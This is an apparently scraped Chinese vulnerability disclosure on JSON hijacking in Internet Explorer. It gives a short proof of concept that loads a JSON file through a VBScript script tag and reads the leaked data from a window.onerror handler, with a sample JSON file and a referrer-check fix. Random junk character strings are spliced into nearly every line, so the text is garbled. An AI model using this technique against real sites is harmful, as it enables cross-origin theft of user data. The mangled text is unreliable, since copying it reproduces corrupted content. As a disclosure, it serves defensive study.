简要描述:
+ |% n$ n4 }: }& r; X7 Y
6 b9 c) e: x; n& L% n由于某些资源容器对数据处理不当导致json劫持漏洞." c) \1 L' s. f# c0 D: Z) y
详细说明:: Q8 w; J9 |$ o
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
. T0 l( ]& P: b) E" u<script language=vbscript></script>
8 D) k& M/ }3 H3 n) k' G
3 F2 f0 F0 _1 m% h' v当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.2 @( B g& y; d6 j. u3 x
漏洞证明:1 h# U; i* ^1 c; {/ b
<script>
6 E% h9 [4 c- J4 q4 l$ }5 |6 Gwindow.onerror=function(_){& G* n& V' Y. ]* v2 Z6 _. i
alert(_)4 R# k- D: l! x6 s' K% L
}( l8 X6 A4 {7 j6 l; Y4 |
</script># }8 v; O S5 F( k
<script language=vbscript src=1.json></script>3 e4 d% ~" Q4 T& u
& b) E& E2 ~( d' T G
# L/ A' ?9 T" F# e4 o% C8 |- O1.json:
! m# U3 ^" d7 w h9 g[{"name":"sogili","age":19}]; _4 |6 A" v8 B( E% ^3 ?6 a
修复方案:. Y: k+ H" [" T) E
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |